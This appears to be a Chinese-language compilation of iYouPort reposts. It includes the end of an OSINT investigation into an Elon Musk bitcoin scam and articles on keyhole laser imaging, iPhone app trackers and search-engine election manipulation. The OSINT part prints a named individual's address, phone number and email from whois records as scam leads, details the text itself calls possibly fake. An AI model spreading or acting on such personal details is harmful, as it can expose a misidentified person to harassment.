Tech Organization: WhoisGuard, Inc.

Tech Street: P.O. Box 0823-03411

Tech City: Panama

Tech State/Province: Panama

Tech Postal Code:

Tech Country: PA

Tech Phone: +507.8365503

Tech Phone Ext:

Tech Fax: +51.17057182

Tech Fax Ext:

Tech Email: 81c4aa68df5640a3afd986ce438afa26.protect@whoisguard.com

Name Server: dns1.storm-pro.net

Name Server: dns2.storm-pro.net

DNSSEC: unsigned

URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

」」」 Last update of WHOIS database: 2018-11-17T17:46:28.10Z 「「「

好像是更多没用的信息？不过等等，我们知道2个诈骗域名用的是 NameCheap，也许第3个也其实是用 NameCheap？我们对 elonmusk[.]id 用过 Whois 可是没有显示和 NameCheap 有关。但也许那是 .id 这个域名的 Whois 服务特性？因为不是所有 Whois 服务都会返还统一的数据和格式。我们再试试 -h 一下 elonmusk.id ：

steve@dev:~$ whois elonmusk.id -h whois.namecheap.com

Domain name: elonmusk.id

...

Registrant Name: Sergey Ishuk

Registrant Organization:

Registrant Street: lenina 131 lenina 131 kv 2

Registrant City: Xarkov

Registrant State/Province: Xarkov

Registrant Postal Code: DN3 6GB

Registrant Country: GB

Registrant Phone: +380.957370883

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email: p286759488@yandex.ru

...

现在有意思了！名字 (Sergey Ishuk), 地址 (lenina 131 lenina 131 kv 2,Xarkov)，电话(+380.957370883) and 邮箱 (p286759488@yandex.ru)。 也许细节是假的，但我们用搜索引擎 (比如 google) 查查电话看看 +380.957370883：

「图」

发现了一个明显的诈骗网路 (give-coinbase.com)。我们还查到了更多的邮箱和名字信息。

相似域名: 潜在的诈骗？

这次 twitter 上诈骗的是价值 18 万美元的比特币，估计还有不少类似的网站诈骗更多。看看不同顶级域 (TLDs) 上的其他相似域名，很可能诈骗者在未来还会用 Elon Musk 的名义诈骗。

「图」

SpiderFoot 的可视化图表, 可以看到不同顶级域(TLDs)上的其他相似域名,在未来的诈骗可能使用

结论

关于这次诈骗我们总结一下：

- 诈骗用的是相同的服务供应商，StormWall 和 Safe Value Management，两者都是俄语，后者 Safe Value Management 明显的试图隐藏这个事实；
- 虽然诈骗相关域名的 IP 很快被改成了 127.0.0.1， 用被动 DNS 数据可以揭示原始 IP，这成了调查的关键线索；
- 所有涉及诈骗的域名的 Whois 用上了隐私服务，使得查找相关人和组织变得不可能。从查找子网中其他诈骗网路的所有者可能查到这次诈骗的所有者线索，毕竟整个子网都被标识为'恶意"；
- 用 whois 向2个诈骗网站所在的服务器 (NameCheap) 查询。这个方式揭示了第3个网站的线索；
- 诈骗网路在同一个 /24 子网， 这个子网上的其他网站行为类似，被多个威胁情报分析服务标为恶意；
- 诈骗网站和恶意子网上的其他网站大都显示是在塞舌尔注册的，而语言却是俄语。

在我们下结论说是俄国人搞的鬼之前，记住互联网上的信息可不一定全是真的！甚至假消息居多。对以上的结果还要仔细斟酌一下。

可能的进一步调查：

- 用 Blockchain.info 和 BitcoinWhosWho.com来分析诈骗者的比特币地址，分析一下资金流向；
- 对这个子网上的网站进行更深入的内容和 Whois 调查，看看有没有其他邮箱地址或个人信息可以作为线索；
- 用反向 Whois(reverse whois) 比如 SecurityTrails 和 ViewDNS.info 查找这些可疑邮箱和名字注册的其他域名；
- 在不同顶级域 (TLDs)深入查询相同域名。查找可能是诈骗者或

类似诈骗者的邮箱地址；
- 查询下架网站的历史缓存内容，可以用 Google 和 Bing’s 的 caches 功能作为开始。虽然这次诈骗的网站在 Wayback Machine 上没有，不过更早的网址可能可以查到；
- 用搜索引擎比如 DuckDuckGo 或 Google，可以查找分析中发现的内容，如电话号码、邮箱、地址、人名；
- 发挥想像力! 可以借鉴一下 proofpoint 的事件，希望给您点灵感。

感兴趣的朋友可以自己试试。【An OSINT Analysis of the Elon Musk Bitcoin Scam】■□

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

现在开始有必要习惯于堵住您家大门的钥匙孔了 - iyouport

你应该了解的现实

通过钥匙孔发射激光可以暴露房间内的一切

能够看到一个封闭房间内的情况曾经是超级英雄的技能。但是，斯坦福大学计算成像实验室的研究人员对一种叫做非视距成像的技术进行了扩展，这样只需一个激光点进入房间就可以看到里面可能有哪些实物。

非视距（NLOS）成像绝不是一个新的想法。这是一项聪明的技术，多年来在研究实验室中不断完善，以创造出能够明显看到角落的相机，并生成不在相机视野内的物体的图像，或者被一系列障碍物挡住的物体的图像。此前，该技术已经利用了像地板或墙壁这样的平面，这些平面处于摄像机和被遮挡物体的视线范围内。一系列来自摄像机的光脉冲，通常来自激光，在这些表面上反弹，然后在隐藏的物体上反弹，最终回到摄像机的传感器上。然后，算法使用关于这些反射花了多长时间返回的信息来生成相机看不到的东西的图像。结果不是高分辨率的，但它们通常足够详细，可以很容易地确定有问题的物体是什么。

这是一项非常聪明的技术，有一天它可能成为自动驾驶汽车等设备的有用的技术，有可能在车内乘客真正看到之前的很长时间就能发现隐藏在拐角处的潜在危险，提高安全性和避障能力。但目前的 NLOS 技术有一个很大的限制。它们要依赖于一个大的反射面，在这个反射面上可以测量出隐藏物体的光反射。试图从外部对一个封闭的房间内的东西进行成像几乎是不可能的 —— 或者至少到最近都是这样。

钥匙孔成像技术是由斯坦福大学计算成像实验室的研究人员开发的，之所以这样命名，是因为要看到一个封闭房间里的东西，只需要一个足够大的小孔（如钥匙孔或窥视孔），让激光束穿过，在里面的墙上形成一个光点。与以前的实验一样，激光在墙上、房间里的一个物体上反弹，然后又在墙上反弹，无数的光子最终通过洞口反射回相机，

相机利用一个单光子雪崩光电探测器测量它们返回的时间。
Screenshot: YouTube—Stanford Computational Imaging Lab

当隐藏在房间里的物体是静态的，新的锁孔成像技术无法计算出它所看到的东西。但是，研究人员发现，一个移动的物体与来自激光的脉冲相配，在很长的曝光时间内可以产生足够的可用数据，让一个算法创建它所看到的图像。结果的质量甚至比以前的NLOS技术更差，但它仍然提供了足够的细节，可以对隐藏的物体的大小和形状做出有根据的猜测。一个木制的人体模型最终看起来像一个幽灵般的天使，但当与经过适当训练的图像识别人工智能相配合使用时，确定房间里有一个人（或人形物体）似乎是非常可行的。

这项研究有朝一日可以为警察或军队提供一种方法，在实际破门而入之前评估进入一个房间的风险，只需利用墙上的一个小裂缝或窗户缝隙或大门周围的一个缝隙即可。这项新技术还可以为自主导航系统提供新的能力，在以前的 NLOS 技术在某些环境中不实用的情况下，在它们成为威胁之前很长时间就发现隐藏的危险因素。

于是，您可能有必要从现在开始习惯于堵住钥匙孔、猫眼、窗户缝等细节了。〇

A Single Laser Fired Through a Keyhole Can Expose Everything Inside a Room

原文

现在是半夜，你知道你的 iPhone 在和谁说话吗？ - iyouport

你应该了解的现实关于亚马逊、苹果、推特

【2019年9月26日存档】现在是凌晨3点你知道你的 iPhone 在做什么吗？

关联：《你的手机在监视你，你也可以监视它》

我的 iPhone 一直非常忙碌。

即使屏幕关闭而且我正在打鼾，应用程序也一直在向我从未听说过的公司提供有关我的无数私密信息。你的 iPhone 可能也在做同样的事。

在最近的一个星期一深夜，十几家营销公司、研究公司和其他个人数据二道贩子从我的iPhone上偷走了一大堆东西。

晚上11点43分，一家名为 Amplitude 的公司拿走了我的电话号码、电子邮件还有确切的地理位置；凌晨3点59分，另一个名叫 Appboy 的公司拿到了我手机的数字指纹。凌晨6点25分，一个叫 Demdex 的公司找到了识别我的手机的方法，并发回了一份其他跟踪器的列表。

整个晚上，一个家喻户晓的名字都在活跃，并且有着令人吃惊的表现，它就是：Yelp。它收到的数据中甚至包含我的IP地址—— 每五分钟刷一次。

我们的数据秘密生活完全包含在我们每天使用的诸多设备中，从 Alexa 扬声器到智能电视。但是，当涉及数据公司探测我们的手机时，这里仍然有一个巨大的盲点。

你可能会认为 Apple 是“安全的”；毕竟，该公司在最近的一则广告中大肆宣传：“你的 iPhone 上发生的任何事都会留在你的 iPhone 上”。但是，我的调查显示完全不是如此。

关联，揭穿苹果的谎言：《声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏》；《“数据所有权”不仅无法解决现有问题，它还制造了新的问题》。

我的 iPhone 应用程序一直在向无数个第三方传递消息以跟踪我 —— 就在我睡着的时候 —— 包括 Microsoft OneDrive、Intuit 的 Mint、Nike、Spotify、华盛顿邮报和 IBM 的天气频道等等。

有一个应用程序，犯罪警报服务 Citizen，属于明确违反其已发布的隐私政策共享个人身份信息。

而且，您的 iPhone 不仅会在您睡觉时提供数据跟踪器。在一周内，我遇到了超过5,400个跟踪器，主要是在应用程序中，不包括不间断的 Yelp 流量。

帮助我测试的隐私公司 Disconnect 指出，这些不受欢迎的跟踪器会在一个月的时间内喷出1.5千兆字节的数据。这个数字是AT＆T整个基本无线服务计划的一半。

“这是你的数据。它为什么要离开你的手机？当你不知道那些莫名其妙的人要用你的数据来做什么时，为什么要允许这种收集？” 曾任国家安全局研究员的 Disconnect 首席技术官 Patrick Jackson 说。

他将我的 iPhone 连接到特殊软件，以便检查流量。他告诉我，“我知道数据的价值，我不希望任何人盗取它。”

在数据经纪人的世界里，Jackson 是数据跟踪的破坏者。他开发了一款名为 Privacy Pro 的应用程序，用于识别和阻止许多跟踪器。

如果你有点技术，我建议你试试免费的iOS版本，就可以瞥见 iPhone 的秘密生活。

然而，⚠在运行谷歌 Android 的手机上难以运行该检测软件。谷歌甚至不会将 Disconnect 的跟踪保护软件放入Play商店。

许多人都反对这种监视资本主义的个人数据经济，这种经济模式不仅出卖我们，更操纵人们，借我们的手操纵民主选举。

⚠在这里看到几个较为详细的解释：关于谷歌如何可以操纵全球选举《看不见的独裁》；《心理操纵的秘密：”行为经济学”＋PR＝？》；《秘密宣传战网络》；对 Facebook 的揭露使我们更加了解我们的数据都被做了什么，但剑桥分析公司仅仅是一个开始。

Jackson 最关心的是透明度：如果我们不知道我们的数据在哪里，我们怎么能希望将其保密？

应用程序跟踪器就像网站上的 cookie 一样，它们会减慢加载时间，浪费电池寿命，并导致令人毛骨悚然的广告在互联网上无处不在地跟踪你。而且很少有警告你跟踪器潜伏的通知，你也不能选择不同的浏览器来阻止它们。

为什么跟踪器会在半夜激活？也许是为了避免干扰其他功能？

不管怎样，如果您允许“后台应用程序刷新”（这是 Apple 的默认设置），这些深夜遭遇就会发生在你的 iPhone 上。

对于 Yelp，该公司表示我发现的行为是一个“无意识的问题”，尽管它看起来就像一个跟踪器。Yelp 认为我发现的问题只影响了1%的iOS用户，特别是那些通过 Apple Maps 进行预订的用户。

无法验证。但是，不论如何，它发送数据这是完全可证的。在最糟糕的情况下，**Yelp** 积累了一个数据库，可以用来映射人们的一举一动，即使人们并没有使用它的应用程序。

一个更典型的例子是 DoorDash，即食品配送服务。一旦您启动该应用程序，就会自动将数据发送给九个第三方跟踪器 —— 尽管您无法知道这一切。

应用程序制造商经常使用跟踪器，因为它们是创收的捷径。这些跟踪器的范围从无害到极为阴险。

在 DoorDash 的情况下，一个名为 Sift Science 的跟踪器获取手机指纹（设备名称、型号、广告标识符、和内存大小）甚至加速度计运动数据；另外三个跟踪器帮助 DoorDash 监控应用程序性能：包括一个名为 Segment 的，收集您的收货地址、姓名、电子邮件和手机运营商。

DoorDash 的其他五个跟踪器，包括 Facebook 和谷歌的广告服务，帮助它了解其营销的有效性。它们的存在意味着，每次你打开 **DoorDash**， **Facebook**和 **Google** 都会马上知道。

交付公司告诉我它不允许跟踪器销售或共享我们的数据，这很好。但是，它的隐私政策引起了轰动：“DoorDash不对这些实体的隐私做法负责，” 看到了吗，别听任何发言人的鬼话。

除了 DoorDash 的九个跟踪器之外，其他所有跟踪器都为 Disconnect 提供了屏蔽列表，这也为 Firefox 浏览器的隐私浏览模式提供了动力。

对隐私权利来说，任何收集和保留我们数据的第三方都是可疑的，除非它还有支持消费者的隐私政策，如限制数据保留时间和匿名数据。

请注意，隐私政策不一定就能提供保护。

Citizen 这个基于位置的犯罪报告应用程序其隐私政策声称不会分享“你的名字或其他个人识别性信息。”

然而，当我进行测试时，我发现它反复将我的电话号码、电子邮件、和精确的 GPS 坐标发送到跟踪器 Amplitude。

在我联系了 Citizen 之后，它更新了应用程序并删除了 Amplitude 跟踪器。

问题是，个人数据飞得越多、让公司对不良行为负责也就越困难 —— 包括不可避免的违规行为。

正如 Jackson 一直在提醒我的：“这是你的数据。”

苹果在一份声明中说：“在 Apple，我们做了大量工作来帮助用户保密数据 ……Apple 硬件和软件旨在为系统的各个层面提供高级安全性和隐私。”

在某些领域承认苹果领先。大多数Apple自己的应用程序和服务都注意加密数据，或者更好的是，首先不要收集数据。在 iOS 12，Apple 通过改进 Safari 网络浏览器中的“智能跟踪预防”，在数据经济方面取得了一点成功。

但是现在，我们在应用程序上花费了更多时间，应用程序才是最大的问题。 Apple 限制应用程序获得访问 iPhone 某些部分的权限，包括您的相机、麦克风、位置、健康信息、照片和联系人。（您可以在隐私设置下检查和更改这些权限。）

但是，Apple 对应用程序处理数据的方法漠不关心 —— 这就是为什么我发现了如此多的跟踪。

我发现使用第三方跟踪器的应用程序很少披露那些公司的名字或它们如何保护我的数据。无论如何，将此信息隐藏在隐私政策中又有什么

用呢？我们需要的是问责制。

对Apple而言，更深入地参与应用程序数据实践是很复杂的。今天的技术经常建立在第三方服务之上，因此 Apple 不能简单地禁止所有与外部服务器的连接。有些公司如此之大，甚至不需要外人的帮助就能亲自追踪我们。

答案不应该是增加 Apple 的力量。“我想确保他们不会扼杀创新，”电子前沿基金会消费者隐私工程主管 AndrésArrieta 说。如果 Apple 成为互联网的隐私警察，它可能会压制一切竞争对手。

Jackson 建议 Apple 将控件添加到 iOS 中，就像 Privacy Pro 中内置的一样，增强透明度。

或许 Apple 也可以要求应用程序在使用第三方跟踪器时进行标记。如果我打开 DoorDash 时看到九个跟踪器通知，肯定会三思而后行的。

问题在于，Apple 真的有动力关心我们的人权吗？〇

It’s the middle of the night. Do you know who your iPhone is talking to?

原文

看不见的独裁 - iyouport

你应该了解的现实你我的灾难现实监视资本主义的世界算法暴政老大哥的真面目

【2019年8月22日存档】我们生活在这样一个世界，在这个世界中，少数高科技公司（有时与政府携手合作）不仅监控着我们的大部分活动，而且还无形地控制着我们的想法和感受，做和说的一切。他们是怎么做的？著名心理学专家所做的一系列实验告诉你这件事有多可怕。

在过去的一个世纪里，不止一位伟大的作家对人类的未来表示了担忧。

在1908年出版的 The Iron Heel 中，美国作家 Jack London 描绘了一个世界，在这个世界中，少数富有的企业巨头———“寡头”—— 通过奖励和惩罚的残酷组合来控制群众；大多数人生活在虚拟奴隶制中，而幸运的人则以体面的工资被买走，这使他们能够舒适地生活—— 但却无法对自己的生活有任何真正的控制权。

在1924出版的“我们”中，俄罗斯作家 Yevgeny Zamyatin 设想了一个通过大规模监视来控制人们的世界。所有人家的墙壁都是用透明玻璃制成的，所以他们所做的一切都可以被任何人观察到。他们被允许每天一小时的私密时间为性生活，但是做爱时间和做爱对象都必须事先到国家部门登记。

在1932年出版的“勇敢的新世界”中，英国作家 Aldous Huxley 描绘了一个近乎完美的社会，在这个社会中，通过基因工程和心理调节相结合，不幸和侵略已经从人性中剔除了。

在1949年出版的“1984“中，乔治奥威尔描述了一个思想本身受到严密控制的社会；在奥威尔的世界里，孩子们被教导使用一种名为 Newspeak 的简化英语形式，以确保他们永远不会表达对社会有害的想法。

以上这些都是虚构的故事，每个掌握权力的领导人都使用了显著的控

制社会形式，至少有少数人积极抵制并偶尔克服了困难。但是，在非小说畅销书“隐藏的说服者”（**The Hidden Persuaders**，**1957**）中，美国记者 Vance Packard 描述了一种在美国迅速崛起的“奇怪且极具异国情调”的影响力。在某种程度上，比上述小说中描绘的虚构类型的控制更具威胁性。

这本书中记录的是真实的世界，巨头企业高管和政客们开始使用微妙的、在许多情况下完全无法察觉的方法，根据精神病学和社会科学的见解改变人们的思想、情感和行为。

我们中大多数人都听说过这些方法中的至少一种：潜意识刺激，或者 **Packard** 称之为“亚阈值效应”的东西—— 一闪即过的消息呈现告诉我们该怎么做，但是这些消息出现的时间如此短暂，以至于我们不知道自己已经看到了它们。

1958年，新泽西剧院被揭露在电影中隐藏了信息以增加冰淇淋的销售，引发公众的关注，全国广播协会—— 为美国电视制定标准的协会—— 因此修改了规定，禁止在广播中使用潜意识刺激信息。

1974年，联邦通信委员会认为使用此类信息“违背了公共利益”。美国国会也引入了禁止潜意识信息传播的立法，但从未颁布过。英国和澳大利亚都有严格的法律禁止这种诱导。

潜意识刺激可能目前在美国仍然被广泛使用—— 毕竟，它很难被发现，并且没有人跟踪它的使用—— 但它可能不值得担心。研究表明它只有很小的影响，它主要影响那些已经有动力遵循其指令的人；比如饮酒的潜意识指令只有在人们已经口渴时才会影响人们。

然而，Packard 发现了一个更大的问题—— 即 强大的寡头公司一直在寻找、并且在许多情况下已经应用了各种各样的技术来控制人们，在人们完全不知情的情况下。

他描述了一种营销人员与社会科学家紧密合作的阴谋，以确定如何让人们购买他们不需要的东西，以及如何让幼儿成为好的消费者—— 明确的培养和训练让人想起《勇敢新世界》中的描述。

在社会科学的指导下，营销人员正在迅速学习如何操纵人们的不安全感、弱点、无意识的恐惧、积极的情感和性欲，以改变人们的思想、情感和行为，⚠而不会让人们意识到自己正在被操纵。

Packard 说，到了20世纪50年代初，政治家们已经掌握了这套方法，

并开始将曾经用于销售肥皂的相同微妙心理操控力量进行政治品牌的自我销售。

Packard 引述了英国经济学家 Kenneth Boulding 的话："一个看不见的独裁世界是完全可以想象的，它仍然使用民主政府的表面形式。"这真的会发生，如果是这样，它将如何运作？

几十年来，Packard 所描述的无形操控权力已经变得越来越普遍。

在超市中听到舒缓音乐的人们会走得更慢，买更多的食物；如今的青少年从早到晚经历的大多数空洞的想法和强烈的感受都是由在时尚和娱乐行业工作的高技能营销专业人员精心策划的；政客们与各种各样的所谓顾问合作，他们负责安排政治家为了成功影响选民所做的每一个方面：服装、语调、面部表情、化妆、发型、和演讲，一切都进行了"优化"，就像早餐麦片的包装那样。这是一种社交工程学主导的政治宣传力。

幸运的是，所有这些影响源都具有竞争力。一些说服者希望我们购买或相信一件事，而其他人则购买或相信别的东西。正是我们社会的竞争性使我们在相对自由的情况下保持平衡。

⚠ 但是，如果新的控制源开始出现、竞争开始减少直到完全没有竞争，会发生什么？如果新的控制手段比过去使用的更强大—— 而且更不可见—— 其结果会怎样？如果新的控制类型允许极少数人不仅对美国公民而且对地球上的大多数人施加巨大影响和操纵，那该怎么办？

听到这个可能会让你感到惊讶，但这些事情已经发生了。

要了解新的心智控制形式是如何运作的，我们首先要看一下搜索引擎—— 尤其是全球排第一位的搜索引擎：即谷歌。谷歌搜索引擎非常受欢迎，以至于该公司的名字现在已成为世界各地语言中常用的动词。

谷歌已成为全球人几乎所有知识的主要门户来源，主要是因为搜索引擎非常擅长向我们提供我们正在寻找的信息，几乎是即时的，几乎总是在我们启动搜索后显示给我们的列表的第一个位置—"搜索结果"列表。

由谷歌来决定在搜索结果中包含数十亿个网页中的哪一个、并决定如何对它们进行排名。决定这些东西的算法是一个深藏的、黑暗的秘密—— 世界上保存最好的秘密之一，就像可口可乐的配方一样。

由于人们更有可能阅读和点击排名较高的项目，一些营销公司现在每年花费数十亿美元试图欺骗谷歌的搜索算法，为了将它们自己的内容提升一两个档。提升一个档次可能就意味着企业成功与失败之间的差异，而进入搜索顶部位置可能是实现盈利的关键。

2012年末，我开始怀疑排名较高的搜索结果是否会影响消费者的选择。或许，我推测，一个热门搜索结果可能对人们对事物的看法产生很小的影响。为了验证，我开始了实验。

2013年初，我与美国加利福尼亚州 Vista 行为研究与技术研究所的助理 Ronald E Robertson 一起，进行了一项实验，将来自圣地亚哥地区的102人随机分配到其中三组。

在一组中，人们看到了有利于一个政治候选人的搜索结果—— 也就是说，与网页相关联的结果使得该候选人看起来比他或她的对手更好。在第二组中，人们看到了有利于对方候选人的搜索排名效果，而在第三组—— 对照组—— 人们看到了对两个候选人都不利的嘈杂排列顺序。三组中唯一不同的是搜索结果的排序。

为了使我们的实验变得现实，我们使用了链接到真实网页的真实搜索结果。我们还使用了真正的选举—— 2010年澳大利亚总理大选。我们利用外国选举来确保我们的参与者“未定”。他们对候选人的不熟悉确保了这一点。通过广告，我们还招募了一个种族多元化的登记选民群体，在跨度很大的年龄范围内，以匹配美国投票人口的关键特征。

首先向所有参与者简要介绍候选人，然后要求他们以各种方式对候选人进行评分，并指出他们投票的候选人；正如您所料，参与者最初都不赞成我们使用的五项措施中的任何一项，并且投票在所有三组中均匀分配。

然后，参与者最多可以在15分钟内使用我们的模拟搜索引擎’Kadoodle’进行在线搜索，这使他们可以访问链接到真实网页的五页搜索结果。人们可以在搜索结果和网页之间自由移动，就像我们使用 Google 时一样。当参与者完成他们的搜索时，我们要求他们再次对候选人进行评分，然后我们再次询问他们将投票给谁。

⚠我们实际发现的结果是令人惊讶的。支持搜索引擎排名靠前的候选人的比例增加了**48.4**%，我们的所有五项测量都转向了该候选人。更重要的是，偏见组中**75**%的人似乎完全没有意识到他们正在查看有偏见的搜索排名。在对照组中，意见没有显著改变。

这似乎是一个重大发现。我们所做的行为转变—— 我们称之为搜索引擎操纵效应（或 SEME），似乎是有史以来发现的最大的行为操纵效应之一。然而，我们没有立即开香槟庆祝。至少这一次我们只测试了少数人，他们都来自圣地亚哥地区。

在接下来的一年左右的时间里，我们再次将我们的研究结果复制了三次，第三次是来自美国所有50个州的2000多人的样本。⚠ 在该实验中，投票偏好的变化率为**37.1**%，甚至在某些人口群体中更高——实际上高达**80**%！

我们还在这一系列实验中了解到，⚠通过在搜索结果的第一页上略微减少偏差—— 具体来说，通过在结果的第三或第四位置包含一个有利于另一个候选者的搜索项目—— 我们可以掩盖我们的操纵事实，所以很少甚至没有人意识到他们看到了有偏见的排名。我们仍然可以在投票偏好方面产生巨大的操纵效果，但我们可以完全不被发现地这样做。

但是仍然没到开香槟的时候。我们的结果非常强大且一致，但我们的实验都涉及一次外国选举—— 即2010年澳大利亚选举。投票偏好是否可以在真正的竞选活动中在真正的选民身上实现成功的操纵？我们持怀疑态度。

在真正的选举中，人们也许会受到多种信息来源的轰炸，他们也对候选人了解很多。对搜索引擎的单一体验似乎不太可能对他们的投票偏好产生太大影响。

为了找到答案，在2014年初，我们在世界上最大的民主选举投票开始之前就去了印度—— Lok Sabha 的选举。三位主要候选人是 Rahul Gandhi，Arvind Kejriwal 和 Narendra Modi。利用在线主题库以及在线和平面广告，我们从印度35个州和地区的27个地区招募了2,150人参加我们的实验。要参加，他们必须是尚未投票的登记选民，他们仍未决定如何投票。

参与者被随机分配到三个搜索引擎组，分别支持 Gandhi，Kejriwal 或 Modi。正如人们所预料的那样，与候选人的熟悉程度很高—— 10分制的7.7到8.5之间。我们预测，如果有的话，我们的操纵会产生非常小的影响，但是，我们完全没有发现这点。

平均而言，我们能够将支持任何特定候选人的人口比例整体提高**20**%以上，而对于某些人口群体来说甚至会超过**60**%。

更令人不安的是，**99.5**%的参与者没有意识到他们正在查看有偏见的搜索排名—— 换句话说，他们完全没有意识到自己被操纵了。

SEME 的近乎隐形的操纵效果确实很奇怪。这意味着当人们—— 包括你和我—— 正在寻找有偏见的搜索排名时，完全不会意识到。

因此，如果你现在谷歌“美国总统候选人”，你看到的搜索结果可能看起来相当随机，即使他们恰好偏爱一个候选人。

甚至我自己在搜索排名中检测到我认为有偏见的内容（因为这些内容是由我的员工准备的）都很困难。我们的随机对照实验一次又一次地告诉我们，当排名较高的项目与支持一名候选人的网页相关联时，⚠这会对未决选民的意见产生巨大影响，这在很大程度上是因为人们倾向于单击排名较高的项目。

这真是太可怕了：就像潜意识刺激，SEME 是你看不到的力量；但与潜意识刺激不同，它具有巨大的影响力—— 就像卡斯帕鬼一样将你推下楼梯。

我们于2015年8月在著名的美国国家科学院院刊（PNAS）上发表了关于SEME前五个实验的详细报告。我们确实发现了一些重要的东西，特别是考虑到谷歌对搜索的支配地位。根据皮尤研究中心的数据，谷歌在美国的互联网搜索几乎垄断，83%的美国人将谷歌定义为他们最常使用的搜索引擎。因此，如果谷歌在一次选举中支持其中一名候选人，那么它对未决选民的影响是很容易操纵选举结果的。

竞选期间其他类型的影响力受到竞争影响力的影响—— 例如各种各样的报纸、广播节目和电视网络—— 但是，谷歌出于所有意图和目的，并没有竞争，人们相信其搜索结果，隐含地假设该公司的神秘搜索算法是完全客观和公正的。这也许才是最可怕的。想想中国的蜻蜓项目？想想谷歌总部为俄罗斯版谷歌制定的过滤器？

这种毫无根据的高度信任以及缺乏竞争，使谷歌处于操纵选举的独特地位。

更令人不安的是，搜索排名业务完全不受监管，因此谷歌可以在“不违反任何法律”的情况下支持任何自己喜欢的候选人。一些法院甚至裁定谷歌“有权”按照自己喜欢的顺序排列搜索结果，这是一种所谓的自由言论形式。

公司是否喜欢特定的候选人？在2012年美国总统大选中，谷歌及其高

层管理人员向奥巴马总统捐赠了80多万美元，向对手 Mitt Romney 捐赠了37,000美元。

美国联邦贸易委员会在2012年发布的一份内部报告得出结论，谷歌的搜索排名通常会使谷歌的经济利益领先于其竞争对手，目前欧盟和印度针对谷歌的反垄断行动基于类似的发现。

在全球大多数国家，**90**%的在线搜索是在 **Google** 上进行的，这使得公司在选举中的权力比在美国更大，而且随着互联网普及率的迅速增长，这种能力正在快速增长。

在我们的 PNAS 文章中，Robertson 和我计算出谷歌现在有能力在全球25%的全国大选中操纵结果，但没有人知道这种情况正在发生。事实上，我们估计，无论是否有公司高管的刻意策划，谷歌的搜索排名都会影响多年的选举，每年都会产生越来越大的影响。而且，由于搜索排名是短暂的，他们没有留下任何书面记录，这使公司可以完全否认。

> ⚠这种规模的力量和这种隐形水平在人类历史上是前所未有的。但事实证明，我们关于 *SEME* 的发现只是一个非常大的冰山的一角。

社交媒体对民主的威胁似乎与搜索排名一样？不一定。当新技术具有竞争力时，它们不会构成任何威胁。即使平台是新的，它们通常被使用的方式也与广告牌和电视广告已经使用了几十年的方式相同：你在街道的一边放了一个广告牌；我把一个广告牌放在街道的另一边。我可能有钱建立比你更多的广告牌，但这个过程仍然具有竞争力。

但是，如果这些技术被拥有它们的公司滥用，会发生什么？罗伯特·M·邦德（现为俄亥俄州立大学的政治科学教授）和其他2012年在“自然”杂志上发表的一项研究描述了一个道德上有问题的实验，其中，在2010年的选举日，Facebook 发送“出去投票”提醒超过其6000万用户。

这些提醒导致多了大约340,000人投票，否则他们就不会投票。哈佛大学国际法教授 Jonathan Zittrain 于2014年在“新共和国”撰稿时指出，鉴于其收集的有关其用户的大量信息，**Facebook** 可以轻松地将这些信息仅发送给支持某一特定政党的候选人的选民，这样做可以很容易地推翻一次选举—— 而且没有人知道这已经发生了。

而且由于广告（如搜索排名）是短暂的，以这种方式操纵选举将不会

留下任何文件痕迹。

是否有法律禁止 Facebook 有选择地向某些用户发送广告？绝对没有；事实上，有针对性的广告是 Facebook 赚钱的基本方式。Facebook 目前是否以这种方式操纵选举？

没有人知道，但在我看来，**Facebook** 如果不这样做将是愚蠢甚至可能不合适的。有些候选人比其他人更适合支持该公司，Facebook 的高管对公司的股东负有信托责任，以促进公司的利益。

Bond 的研究在很大程度上被忽略了，但2014年在 PNAS 上发布的另一项 Facebook 实验引发了世界各地的抗议活动。在这项研究中，在一周的时间里，有689,000名 Facebook 用户收到了包含过多的正面术语、过多的负面术语、或两者都没有的新闻。

第一组中的那些人随后在他们的通信中使用了稍微更积极的术语，而第二组中的那些人在他们的通信中使用了稍微更负面的术语。⚠据说这表明人们的“情绪状态”可能会被社交媒体公司大规模地操纵，这种想法很多人都觉得令人不安。人们也感到不安的是，未经任何参与者的明确同意，这些巨头公司就进行了大规模的情绪实验。

Facebook 的消费者档案无疑是庞大的，但与 Google 维护的相比，前者依然显得苍白无力，谷歌正在使用60多种不同的观察平台—— 全天候收集有关人的几乎全部信息，搜索引擎、谷歌钱包、谷歌地图、当然还有 Google Adwords，Google Analytics，Chrome，Google文档，Android，YouTube 等等。Gmail 用户通常无视 Google 存储和分析他们撰写的每封电子邮件，甚至是他们从未发送过的草稿——以及他们从 Gmail 和非 Gmail 用户收到的所有电子邮件。

根据谷歌的隐私政策，谷歌可以与几乎任何人共享收集到的有关你的信息，包括政府机构。但绝不和你共享。谷歌的隐私是神圣不可侵犯的；你的隐私是不存在的。

当然，如果谷歌即将操纵选举，它可能会首先涉及其庞大的个人信息数据库，以确定那些尚未作出决定的选民。然后它可以日复一日地向那些人发送有利于某一个候选人的定制搜索排名结果。这种方法的一个优点是，它会使谷歌的操作极难让调查人员发现。

⚠无论是苏联的克格勃、东德的斯塔西、还是**1984**年的老大哥，极端形式的监视都是所有暴政的基本要素，如今的技术已经使监视和监测数据的整合变得前所未有的简单。到2020年，中国将实施有史以来最

雄心勃勃的政府监控系统—— 一个名为社会信用体系的单一数据库，其中记录了13亿公民的所有评级和记录，以便官员和官僚轻松访问。一目了然，他们会知道是否有人抄袭了学校作业，谁拖欠了账单，谁在公共场所小便，或谁在网上不恰当地写了博客。

正如爱德华·斯诺登的揭露所表明的那样，我们正在迅速走向一个世界，在这个世界中，政府和公司—— 有时紧密合作—— 每天都在收集关于我们每个人的大量数据，很少或根本没有法律限制这些数据如何使用。

> 当你将数据收集与控制或操纵的愿望结合起来时，可能性是无穷无尽的，但也许最可怕的可能性是在 ***Boulding*** 的断言中表达的一种观点，即 “使用民主政府的形式”实施“看不见的独裁”。

自从 Robertson 和我在2015年初向 PNAS 提交了关于 SEME 的初始报告以来，我们完成了一系列复杂的实验，大大增强了我们对这一现象的理解，其他实验将在未来几个月内完成。我们现在有更好的理解关于为什么 SEME 如此强大、以及在某种程度上它可以如何被抑制。

